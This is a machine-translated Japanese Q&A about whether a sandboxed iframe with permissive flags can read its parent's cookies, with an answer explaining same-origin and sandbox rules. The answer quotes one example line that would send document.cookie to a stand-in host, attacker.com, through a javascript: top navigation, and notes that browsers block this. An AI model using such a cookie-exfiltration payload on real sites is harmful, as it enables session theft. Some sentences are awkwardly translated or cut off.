セキュリティの目的で評価しているこのHTMLコードをサイトに配置しました。そのコードは本質的にこれです:
<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-Origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>
私の目的は、glenpierce.github.ioに書き込み、そのiframeの親のCookieを読み取り、コンソールに出力して、これらのフラグが設定されている場合、このiframeが親のCookieにアクセスできることを証明することです。これまでのところ、Chrome 65を使用してdocument.cookie
またはparent.document
。
これは安全ではなく、これらのフラグを許可しない理由が他にもあることは承知していますが、私は親のCookie(および/またはローカルストレージ)にアクセスできることを証明することに特に関心があります。
最初に注意すべきことは、iframeは(デフォルトでは)同じOriginの一部であるかのように動作しないことですそれらがなければ。 iframe Origin(src
属性内)と親Originが異なる場合、iframeはalways親からサンドボックス化されます。これにより、 window.parent
オブジェクトのほとんどのプロパティにアクセスできないなどの制限。
sandbox
属性を使用すると、same-Origin iframeにクロスオリジンiframes [1]と同じ種類の制限を設定できます。 sandbox
の値は例外ですサンドボックス属性へであり、一般にiframeセキュリティモデルでは例外です。したがって、allow-same-Origin
しないクロスオリジンのiframeを、親ページと同じオリジンのように機能させます。同じオリジンのiframeに同じオリジンの処理をさせるだけですサンドボックス化されていない場合。親とiframeがクロスオリジンである場合、allow-same-Origin
またはallow-top-navigation
を使用しても問題は解決しません。
実際に同じであるiframeの場合andはサンドボックス化されていないか、allow-same-Origin
サンドボックス属性値を持っています。window.parent.document.cookie
を使用すると、(HttpOnly
) クッキー。
クロスオリジンで機能すると思われるアプローチの1つは、トップナビゲーションです。クロスオリジンのiframeでも、サンドボックス化されていない場合(またはサンドボックスにallow-top-navigation
がある場合)、親のURLを設定できます(取得できません)。これで次のようなことができると思うかもしれません:parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
成功すると、親ページのコンテキストでJavaScriptが実行され、そのページの(HttpOnly以外の)Cookieが流出します。
幸いなことに、ブラウザ開発者はその種のトリックに賢明です。 iframe(トップナビゲーションが許可されている)はトップページをさまざまな方向に向けることができますが、javascript:
URIはその1つではありません。
もちろん、信頼できないiframeにトップナビゲーションを許可することは依然として危険です。スクリプトを挿入したり、Cookieを盗んだりすることはできません(XSSなどの注入の脆弱性がないわけではありません)が、同じコンテンツを表示しているが実際には同じようなURLにユーザーをナビゲートするなどの操作を実行できます。たとえばフィッシングサイト。
もちろん、これはCookieを漏出せず、単にCookieが読み取り可能であることを明らかにするだけですが、これはallow-top-navigation
を悪用する方法です。
[1]そしていくつか。より極端な制限は、デフォルトのクロスオリジン制限よりも厳しいものです。つまり、クロスオリジンのiframeのサンドボックス化は必ずしも冗長ではありません。たとえば、クロスオリジンのiframeは、window.parent
オブジェクトとやり取りしないほとんどのフォームのトップナビゲーションと実行スクリプトがデフォルトで許可されていますが、サンドボックスでブロックすることができます。